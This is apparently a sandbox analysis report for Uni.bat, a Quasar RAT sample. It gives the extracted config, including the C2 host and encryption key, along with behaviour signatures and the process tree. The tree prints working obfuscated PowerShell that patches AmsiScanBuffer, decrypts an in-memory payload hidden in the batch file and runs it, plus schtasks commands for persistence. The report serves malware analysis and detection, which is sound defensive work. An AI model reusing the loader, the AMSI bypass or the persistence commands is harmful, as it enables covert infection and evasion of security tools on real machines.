Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/05/2024, 17:08

General

  • Target
    Uni.bat
  • Size 301KB
  • Sample240508-vnlkpagh86
  • SHA256 d1c5a6ee28141a729b788a725748d718c2cf26d6cf66c19a524072eeb03cf334
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Version
  • 3.1.5

Botnet
  • SLAVE

C2
  • even-lemon.gl.at.ply.gg:33587

Mutex
  • $Sxr-dOMA5C0pQTTpKjVsCp

Attributes
  • encryption_key

    UBXs44u6E81wxBGZxQHk

  • install_name

    $sxr-powershell.exe

  • log_directory

    $SXR-KEYLOGS

  • reconnect_delay

    3000

  • startup_key

    $sxr-powershell

  • subdirectory

    $sxr-seroxen2

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 15 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 8 IoCs
  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 50 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:316
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{bdcc8773-3d99-4340-9214-5bc21306db81}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5460
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:676
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:952
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
            1⤵
              PID:436
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
              1⤵
                PID:528
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1048
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1056
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1136
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:2776
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:RnCCdQHMkyqF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$RsKKxlAYXhdtvG,[Parameter(Position=1)][Type]$YMqSbBmMgK)$oEcoQeaHNoi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+'e'+[Char](99)+'t'+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+[Char](109)+'o'+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'T'+[Char](121)+'pe',''+'C'+''+'l'+''+[Char](97)+'ss'+[Char](44)+'Pu'+'b'+'li'+'c'+''+[Char](44)+''+'S'+''+'e'+'a'+'l'+''+'e'+''+'d'+''+[Char](44)+'A'+[Char](110)+'siC'+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+'u'+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$oEcoQeaHNoi.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+'Na'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$RsKKxlAYXhdtvG).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+'e'+''+[Char](44)+'M'+[Char](97)+'n'+[Char](97)+''+'g'+''+'e'+'d');$oEcoQeaHNoi.DefineMethod('I'+[Char](110)+''+'v'+''+'o'+''+'k'+''+'e'+'',''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'H'+'i'+'de'+'B'+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+'wS'+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+'ir'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$YMqSbBmMgK,$RsKKxlAYXhdtvG).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $oEcoQeaHNoi.CreateType();}$dQgzpPKbTATaF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+'s'+'t'+'e'+''+'m'+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+'o'+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+'3'+'2'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+'f'+''+'e'+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+[Char](77)+''+'e'+''+'t'+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$IfiiIfGJODcVzA=$dQgzpPKbTATaF.GetMethod('G'+[Char](101)+''+'t'+''+[Char](80)+''+'r'+''+'o'+''+'c'+'Ad'+[Char](100)+'r'+'e'+''+'s'+'s',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$yTDKROlYhGrjtyxMfAZ=RnCCdQHMkyqF @([String])([IntPtr]);$joyEmBacmhOaRekOpTvZgM=RnCCdQHMkyqF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XWhGRDGTzHB=$dQgzpPKbTATaF.GetMethod('G'+[Char](101)+''+[Char](116)+'M'+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+'n'+'e'+[Char](108)+''+'3'+''+[Char](50)+'.'+'d'+''+[Char](108)+''+[Char](108)+'')));$gZzdbDRMXugDpr=$IfiiIfGJODcVzA.Invoke($Null,@([Object]$XWhGRDGTzHB,[Object](''+'L'+'o'+[Char](97)+'d'+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$PGBkDVeoDhyhNCeQo=$IfiiIfGJODcVzA.Invoke($Null,@([Object]$XWhGRDGTzHB,[Object](''+'V'+''+'i'+''+'r'+''+[Char](116)+''+'u'+'a'+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+'t'+'e'+'c'+'t')));$zhNrAmv=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gZzdbDRMXugDpr,$yTDKROlYhGrjtyxMfAZ).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$GMIiKgHbHjDDkWeFx=$IfiiIfGJODcVzA.Invoke($Null,@([Object]$zhNrAmv,[Object](''+[Char](65)+''+'m'+''+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$MNdpwSyIGZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PGBkDVeoDhyhNCeQo,$joyEmBacmhOaRekOpTvZgM).Invoke($GMIiKgHbHjDDkWeFx,[uint32]8,4,[ref]$MNdpwSyIGZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GMIiKgHbHjDDkWeFx,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PGBkDVeoDhyhNCeQo,$joyEmBacmhOaRekOpTvZgM).Invoke($GMIiKgHbHjDDkWeFx,[uint32]8,0x20,[ref]$MNdpwSyIGZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+'T'+''+[Char](87)+'A'+'R'+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
                        2⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2104
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                      1⤵
                        PID:1204
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                        1⤵
                          PID:1244
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                          1⤵
                          • Drops file in System32 directory
                          PID:1256
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                          1⤵
                            PID:1376
                            • C:\Windows\system32\sihost.exe
                              sihost.exe
                              2⤵
                                PID:2480
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                              1⤵
                                PID:1440
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1448
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                  1⤵
                                    PID:1456
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                    1⤵
                                      PID:1544
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1612
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1652
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1708
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                            1⤵
                                              PID:1732
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                              1⤵
                                                PID:1792
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:1900
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1908
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:2024
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                      1⤵
                                                        PID:1660
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:1868
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                          1⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2184
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2192
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2256
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2472
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2500
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                  1⤵
                                                                    PID:2532
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    PID:2764
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                    • Enumerates connected drives
                                                                    PID:2832
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2852
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2872
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                        1⤵
                                                                          PID:2880
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                          1⤵
                                                                            PID:2916
                                                                          • C:\Windows\system32\wbem\unsecapp.exe
                                                                            C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                            1⤵
                                                                              PID:3116
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                              1⤵
                                                                                PID:3408
                                                                              • C:\Windows\Explorer.EXE
                                                                                C:\Windows\Explorer.EXE
                                                                                1⤵
                                                                                • Suspicious behavior: GetForegroundWindowSpam
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of UnmapMainImage
                                                                                PID:3544
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
                                                                                  2⤵
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:4808
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    3⤵
                                                                                      PID:2688
                                                                                    • C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
                                                                                      "Uni.bat.exe" -noprofile -ep bypass -command $sQWxo = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($wuunU in $sQWxo) { if ($wuunU.StartsWith(':: ')) { $Gefee = $wuunU.Substring(3); break; }; };$BRHkO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Gefee);$UoJkv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('llI7MHEN3rnuJm+OhoiaRW5vgXl8RYhNtONXY+rZGh8=');for ($i = 0; $i -le $BRHkO.Length - 1; $i++) { $BRHkO[$i] = ($BRHkO[$i] -bxor $UoJkv[$i % $UoJkv.Length]); };$mAGPa = New-Object System.IO.MemoryStream(, $BRHkO);$OtAiB = New-Object System.IO.MemoryStream;$IbMMP = New-Object System.IO.Compression.GZipStream($mAGPa, [IO.Compression.CompressionMode]::Decompress);$IbMMP.CopyTo($OtAiB);$IbMMP.Dispose();$mAGPa.Dispose();$OtAiB.Dispose();$BRHkO = $OtAiB.ToArray();$KXfoP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($BRHkO);$Ujyzm = $KXfoP.EntryPoint;$Ujyzm.Invoke($null, (, [string[]] ('')))
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:1384
                                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                                        "schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" /rl HIGHEST /f
                                                                                        4⤵
                                                                                        • Creates scheduled task(s)
                                                                                        PID:2080
                                                                                      • C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        • Modifies system certificate store
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:4032
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          5⤵
                                                                                            PID:2376
                                                                                        • C:\Users\Admin\AppData\Local\Temp\install.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\install.exe"
                                                                                          4⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5164
                                                                                        • C:\Windows\SYSTEM32\SCHTASKS.exe
                                                                                          "SCHTASKS.exe" /create /tn "$77" /tr "''" /sc onlogon /rl HIGHEST
                                                                                          4⤵
                                                                                          • Creates scheduled task(s)
                                                                                          PID:4132
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                    1⤵
                                                                                      PID:3664
                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                      1⤵
                                                                                        PID:3864
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                        • Modifies registry class
                                                                                        PID:4020
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:4204
                                                                                        • C:\Windows\system32\SppExtComObj.exe
                                                                                          C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                          1⤵
                                                                                            PID:4588
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                            1⤵
                                                                                              PID:4720
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                              1⤵
                                                                                              • Modifies data under HKEY_USERS
                                                                                              PID:4784
                                                                                            • C:\Windows\System32\svchost.exe
                                                                                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                              1⤵
                                                                                                PID:5920
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                1⤵
                                                                                                  PID:6096
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                  1⤵
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:544
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:5484
                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                  1⤵
                                                                                                    PID:5056
                                                                                                  • C:\Windows\System32\RuntimeBroker.exe
                                                                                                    C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                    1⤵
                                                                                                      PID:2752
                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                      1⤵
                                                                                                        PID:5360
                                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                        1⤵
                                                                                                        • Modifies registry class
                                                                                                        PID:1284
                                                                                                      • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                        C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                        1⤵
                                                                                                        • Checks BIOS information in registry
                                                                                                        • Writes to the Master Boot Record (MBR)
                                                                                                        • Checks SCSI registry key(s)
                                                                                                        • Enumerates system info in registry
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        PID:5428
                                                                                                      • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                        "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                        1⤵
                                                                                                          PID:5764
                                                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                          C:\Windows\System32\WaaSMedicAgent.exe 58e9cddadf5c29bee1eb00880944668c s4xw3hp26kOMVZKADUKdnw.0.1.0.0.0
                                                                                                          1⤵
                                                                                                          • Sets service image path in registry
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:5332
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            2⤵
                                                                                                              PID:2080
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                            1⤵
                                                                                                            • Drops file in Windows directory
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:928
                                                                                                          • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                                                                                                            1⤵
                                                                                                              PID:3768
                                                                                                            • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              C:\Windows\servicing\TrustedInstaller.exe
                                                                                                              1⤵
                                                                                                              • Drops file in Windows directory
                                                                                                              PID:4048
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                              1⤵
                                                                                                                PID:3532
                                                                                                              • C:\Windows\System32\mousocoreworker.exe
                                                                                                                C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                1⤵
                                                                                                                • Checks processor information in registry
                                                                                                                • Enumerates system info in registry
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:5060
                                                                                                              • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                1⤵
                                                                                                                  PID:5856
                                                                                                                • C:\Windows\system32\backgroundTaskHost.exe
                                                                                                                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                                                                                                                  1⤵
                                                                                                                    PID:3044
                                                                                                                  • C:\Windows\system32\BackgroundTransferHost.exe
                                                                                                                    "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                                                                                                                    1⤵
                                                                                                                      PID:2724

                                                                                                                    Network

                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                          Replay Monitor

                                                                                                                          Loading Replay Monitor...

                                                                                                                          Downloads

                                                                                                                          57C8EDB95DF3F0AD4EE2DC2B8CFD4157

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
                                                                                                                          • Size 338B
                                                                                                                          • SHA256 b7995117860541835bb0e60d2ea5249a3615c157898ade939a49b397b77707c5
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          77EC63BDA74BD0D0E0426DC8F8008506

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
                                                                                                                          • Size 330B
                                                                                                                          • SHA256 c2c33fa3158b725be9036f67924d9037f14ff5d3d3745319fa28c6cc68dd8779
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          FB0D848F74F70BB2EAA93746D24D9749

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
                                                                                                                          • Size 330B
                                                                                                                          • SHA256 2e60e0879a51b0fd9afaa2b7def12a2c6aaf2255677dc2ef86f1a2d0bb9b367d
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          Uni.bat.exe

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
                                                                                                                          • Size 442KB
                                                                                                                          • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                          __PSScriptPolicyTest_13tt2djc.dn1.ps1

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_13tt2djc.dn1.ps1
                                                                                                                          • Size 60B
                                                                                                                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          install.exe

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\install.exe
                                                                                                                          • Size 162KB
                                                                                                                          • SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

